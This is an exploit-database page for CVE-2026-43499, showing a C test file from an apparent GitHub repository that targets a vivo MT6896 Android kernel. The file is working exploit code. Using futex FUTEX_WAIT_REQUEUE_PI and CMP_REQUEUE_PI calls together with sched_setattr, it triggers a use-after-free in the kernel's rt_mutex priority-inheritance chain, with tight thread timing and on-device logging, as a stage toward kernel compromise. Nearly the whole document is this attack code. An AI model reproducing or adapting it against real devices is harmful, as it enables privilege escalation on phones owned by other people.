Exploit databaseDownload repository ZIP
GH-282e253a53c16ebe50dc62429538a0d3
syerain/cve-2026-43499-vivo-mt6896
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
syerain/cve-2026-43499-vivo-mt6896Revision 2970a36d0ff8
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
preloads/2026-08-24-phy-chain-verify/chain_test.c
C · 5,679 bytes/*
* 真机链验证(chain-only):不覆盖 S,保持真实值,验证
* requeue EDEADLK -> remove_waiter(UAF) -> sched_setattr 触发
* rt_mutex_adjust_pi -> adjust_prio_chain 真实 S 循环遍历
* 在内核上是否良性结束(预期:循环 1024 次后 "Maximum lock depth" printk,
* 无 Oops,进程干净退出)。
*
* 关键约束:waiter 线程在 WRPI 返回后到触发完成之间 **零 syscall**
* (否则新内核帧覆盖栈上 S,退化成旧的污染崩溃场景)。用 yield 自旋。
*
* 编译:aarch64-linux-android35-clang -static -O2 -o chain_test chain_test.c -pthread
* QEMU 验证:alpine initramfs 直接运行;真机:adb push + 执行。
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
#ifndef DISK_LOG_DIR
#define DISK_LOG_DIR "/sdcard/ASK"
#endif
static int dlog_fd = -1;
static void dlog(const char *fmt, ...) {
char buf[1024];
va_list ap;
va_start(ap, fmt);
int n = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
if (n > 0) {
write(STDOUT_FILENO, buf, (size_t)n);
if (dlog_fd >= 0)
write(dlog_fd, buf, (size_t)n);
}
}
static void dlog_open(void) {
mkdir(DISK_LOG_DIR, 0755);
char path[256];
struct timespec ts;
clock_gettime(CLOCK_REALTIME, &ts);
snprintf(path, sizeof(path),
DISK_LOG_DIR "/chain_%ld-%ld.log", ts.tv_sec, ts.tv_nsec);
dlog_fd = open(path, O_WRONLY | O_CREAT | O_TRUNC | O_SYNC | O_CLOEXEC, 0644);
}
static uint32_t f_wait;
static uint32_t f_pi_target;
static uint32_t f_pi_chain;
static atomic_int waiter_ready;
static atomic_int waiter_waiting;
static atomic_int owner_started;
static atomic_int punch_go;
static atomic_int waiter_tid;
static long futex_call(uint32_t *uaddr, int op, uint32_t val, void *t,
uint32_t *uaddr2, uint32_t val3) {
return syscall(SYS_futex, uaddr, op, val, t, uaddr2, val3);
}
static long sched_setattr_tid(int tid, int nice_value) {
struct {
uint32_t size;
uint32_t policy;
uint64_t flags;
int32_t nice;
uint32_t prio;
uint64_t runtime, deadline, period;
} a;
memset(&a, 0, sizeof(a));
a.size = sizeof(a);
a.policy = SCHED_BATCH;
a.nice = nice_value;
return syscall(SYS_sched_setattr, tid, &a, 0);
}
static void *waiter_thread(void *arg) {
(void)arg;
int tid = (int)syscall(SYS_gettid);
atomic_store(&waiter_tid, tid);
dlog("[W] tid=%d lock f_pi_chain\n", tid);
if (futex_call(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0) != 0) {
dlog("[W] lock chain errno=%d\n", errno);
return NULL;
}
atomic_store(&waiter_ready, 1);
while (!atomic_load(&owner_started)) {
__asm__ volatile("yield" ::: "memory");
}
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
ts.tv_sec += 8;
atomic_store(&waiter_waiting, 1);
long r = futex_call(&f_wait, FUTEX_WAIT_REQUEUE_PI, 0, &ts, &f_pi_target, 0);
/* 关键:WRPI 返回后到 punch_go==0 之间禁止任何 syscall(含 printf/write),
* 否则新内核帧覆盖栈上 S,S->lock 变垃圾 -> +0x188 崩溃(已实测)。 */
atomic_store(&punch_go, 1);
while (atomic_load(&punch_go) != 0) {
__asm__ volatile("yield" ::: "memory");
}
dlog("[W] WRPI r=%ld errno=%d; trigger done, unlocking chain\n", r, errno);
futex_call(&f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
dlog("[W] unlocked, exit\n");
return NULL;
}
static void *owner_thread(void *arg) {
(void)arg;
long r1 = futex_call(&f_pi_target, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
dlog("[O] lock target r=%ld errno=%d\n", r1, errno);
while (!atomic_load(&waiter_ready)) {
__asm__ volatile("yield" ::: "memory");
}
atomic_store(&owner_started, 1);
long r2 = futex_call(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
dlog("[O] lock chain r=%ld errno=%d\n", r2, errno);
return NULL;
}
static void *consumer_thread(void *arg) {
(void)arg;
int seen = 0;
for (;;) {
int seq = atomic_load(&punch_go);
if (seq == 0 || seq == seen) {
__asm__ volatile("yield" ::: "memory");
continue;
}
seen = seq;
usleep(50000); /* 等 waiter 进入自旋(waiter 自己的栈,无影响) */
int tid = atomic_load(&waiter_tid);
errno = 0;
long r = sched_setattr_tid(tid, 19);
dlog("[C] sched_setattr(waiter=%d) r=%ld errno=%d (walk ran inside)\n",
tid, r, errno);
atomic_store(&punch_go, 0);
return NULL;
}
}
int main(void) {
dlog_open();
dlog("[chain] start pid=%d\n", (int)getpid());
alarm(30); /* 兜底:30s 未完成即终止,防真机挂死 */
pthread_t wt, ot, ct;
if (pthread_create(&wt, NULL, waiter_thread, NULL) != 0) {
dlog("[M] waiter create failed errno=%d\n", errno);
return 1;
}
if (pthread_create(&ot, NULL, owner_thread, NULL) != 0) {
dlog("[M] owner create failed errno=%d\n", errno);
return 1;
}
if (pthread_create(&ct, NULL, consumer_thread, NULL) != 0) {
dlog("[M] consumer create failed errno=%d\n", errno);
return 1;
}
while (!atomic_load(&waiter_waiting) || !atomic_load(&owner_started)) {
usleep(1000);
}
usleep(100000);
errno = 0;
long rr = futex_call(&f_wait, FUTEX_CMP_REQUEUE_PI, 1, (void *)1,
&f_pi_target, 0);
dlog("[M] CMP_REQUEUE_PI r=%ld errno=%d\n", rr, errno);
pthread_join(wt, NULL);
pthread_join(ot, NULL);
pthread_join(ct, NULL);
dlog("[chain] done\n");
return 0;
}